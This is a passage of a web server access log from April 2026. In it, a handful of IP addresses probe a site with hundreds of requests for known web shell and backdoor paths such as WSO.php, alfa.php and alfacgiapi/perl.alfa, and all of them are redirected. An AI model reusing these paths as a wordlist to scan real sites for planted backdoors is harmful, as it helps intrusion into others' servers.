/class-wp-simplepie-sanitize-kses-repository.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:13:05 +0300] "GET /class-wp-nav-menu-widget-module.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [11/Apr/2026:23:59:46 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:01:42 +0300] "GET /ggb.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:03:01 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:03:46 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:03:49 +0300] "GET /9.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:14:50 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:14:59 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:15:21 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:16:12 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:16:18 +0300] "GET /vee.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:16:31 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:16:56 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:17:59 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:19:42 +0300] "GET /z60.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:20:01 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:20:14 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:14 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:15 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:49 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:50 +0300] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:22:11 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:22:13 +0300] "GET /index/chosen.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:22:24 +0300] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:23:14 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:24:11 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:26:37 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:27:07 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:25:02 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:26:03 +0300] "GET /security.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:26:43 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:27:26 +0300] "GET /wp-conffg.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:27:36 +0300] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:27:39 +0300] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:27:45 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:28:15 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:28:16 +0300] "GET /ioxi-o1.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:28:27 +0300] "GET /juuuu.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:27:52 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:27:56 +0300] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:28:42 +0300] "GET /ha.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:27:45 +0300] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:28:00 +0300] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:28:16 +0300] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:28:01 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:10:13 +0300] "GET /yes.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:10:28 +0300] "GET /cvmlepae.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:10:31 +0300] "GET /QtJwDSjqvyT.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:10:34 +0300] "GET /U4FN8yLc6A2.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:10:36 +0300] "GET /2vYimaGBE8l.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:10:39 +0300] "GET /class-wp-widget-block-query.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:10:57 +0300] "GET /ciyRFCk.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:12:13 +0300] "GET /XFwgmCsEPHk.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:13:36 +0300] "GET /iyjzstwk.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:13:38 +0300] "GET /1Xw8GjudKLl.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [11/Apr/2026:23:59:10 +0300] "GET //sl.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:01:48 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:01:51 +0300] "GET /wert.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:01:57 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:03:59 +0300] "GET /10.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:05:22 +0300] "GET /no18.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:05:27 +0300] "GET /fine.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:05:45 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:08:50 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:12:17 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:12:17 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:12:33 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:12:37 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:13:34 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:14:26 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:14:42 +0300] "GET /bengi.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:15:06 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:15:09 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:15:50 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:17:45 +0300] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:18:27 +0300] "GET /fv.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:19:35 +0300] "GET /atx.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:19:53 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:02 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:44 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:23:18 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:24:05 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:24:21 +0300] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:24:53 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:25:43 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:25:46 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:25:50 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:25:54 +0300] "GET /css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:27:30 +0300] "GET /.well-known/log.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:27:37 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:28:40 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:23:30 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:23:33 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:23:37 +0300] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:23:51 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:23:57 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:25:26 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:25:33 +0300] "GET /ww1.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:26:01 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:26:25 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:29:40 +0300] "GET /ar.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:30:15 +0300] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:31:45 +0300] "GET /send.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:32:22 +0300] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:32:49 +0300] "GET /nasgor.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:32:49 +0300] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:33:43 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:29:18 +0300] "GET /if.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:31:30 +0300] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:28:51 +0300] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:29:40 +0300] "GET /mrjn.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:30:32 +0300] "GET /alex.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:30:41 +0300] "GET /gifclass4.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:30:49 +0300] "GET /2clas.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:31:40 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:33:03 +0300] "GET /alfa123.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:33:06 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:33:15 +0300] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:30:03 +0300] "GET /3301.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:30:30 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:30:47 +0300] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:32:48 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:32:51 +0300] "GET /class9.php HTTP/1.1" 301 795 "-" "-" 49.51.243.95 - - [12/Apr/2026:00:33:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.220.147.82 - - [12/Apr/2026:00:31:08 +0300] "GET /wrt.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:31:23 +0300] "GET /bibil.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:31:46 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:31:52 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:31:58 +0300] "GET /3.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:32:01 +0300] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:33:27 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:30:16 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:31:05 +0300] "GET /anone.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:33:34 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:28:52 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:29:05 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:29:09 +0300] "GET /04.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:29:32 +0300] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:29:50 +0300] "GET /kn.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:32:14 +0300] "GET /nox.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:32:31 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:33:14 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:33:21 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:33:45 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:33:45 +0300] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:29:04 +0300] "GET /we2.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:29:20 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:29:32 +0300] "GET /520.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:30:57 +0300] "GET /ave.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:31:17 +0300] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:31:30 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:32:04 +0300] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:32:35 +0300] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:35:20 +0300] "GET /wtz.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:35:37 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:36:03 +0300] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:36:31 +0300] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:36:47 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:37:09 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:37:09 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:37:10 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:38:15 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:38:22 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:38:23 +0300] "GET /sad/about.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:38:34 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:39:49 +0300] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:40:13 +0300] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:40:28 +0300] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:41:45 +0300] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:44:41 +0300] "GET /wp-admin/includes/pomo.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [12/Apr/2026:01:05:50 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:34:31 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:35:11 +0300] "GET /wp-includes/sodium_compat/src/Core/Curve25519-items.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:36:22 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:36:49 +0300] "GET /41.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:37:17 +0300] "GET /.fk.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:38:47 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:39:00 +0300] "GET /alexusmailer%202.0.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:43:52 +0300] "GET /date.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:45:42 +0300] "GET /wp-content/uploads/pomo.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:45:53 +0300] "GET /wp-content/plugins/pomo.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:34:01 +0300] "GET /alexus.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:34:39 +0300] "GET /xaz.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:36:12 +0300] "GET /ohayo.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:36:14 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:37:30 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:39:21 +0300] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:39:36 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:45:10 +0300] "GET /wp-admin/maint/pomo.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:45:31 +0300] "GET /wp-admin/user/pomo.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:45:34 +0300] "GET /wp-content/pomo.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:46:02 +0300] "GET /wp-content/languages/pomo.php HTTP/1.1" 301 795 "-" "-" 103.125.31.222 - - [12/Apr/2026:01:25:18 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.220.147.82 - - [12/Apr/2026:00:33:52 +0300] "GET /ac.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:34:03 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:36:04 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:42:10 +0300] "GET /wp-admin/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:42:24 +0300] "GET /wp-content/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:42:57 +0300] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:34:51 +0300] "GET /up4.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:35:03 +0300] "GET /1aa.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:35:11 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:36:58 +0300] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:37:11 +0300] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:37:38 +0300] "GET /alexuse.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:40:40 +0300] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:41:22 +0300] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:41:29 +0300] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:41:57 +0300] "GET /tmp_images/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:42:33 +0300] "GET /wp-includes/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:43:11 +0300] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 58.147.185.65 - - [12/Apr/2026:01:25:28 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.220.11.224 - - [12/Apr/2026:00:34:17 +0300] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:35:48 +0300] "GET /owl.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:35:48 +0300] "GET /xb.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:36:20 +0300] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:36:36 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:36:37 +0300] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:36:38 +0300] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:36:41 +0300] "GET /Gel.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:40:01 +0300] "GET /wso1.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:40:45 +0300] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:43:43 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:46:22 +0300] "GET /wp-content/languages/themes/pomo.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:34:18 +0300] "GET /pop.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:34:32 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:36:30 +0300] "GET /users.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:36:54 +0300] "GET /sites.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:38:03 +0300] "GET /olu.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:38:07 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:40:54 +0300] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:41:10 +0300] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:42:42 +0300] "GET /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:43:20 +0300] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:45:00 +0300] "GET /wp-admin/js/pomo.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:46:37 +0300] "GET 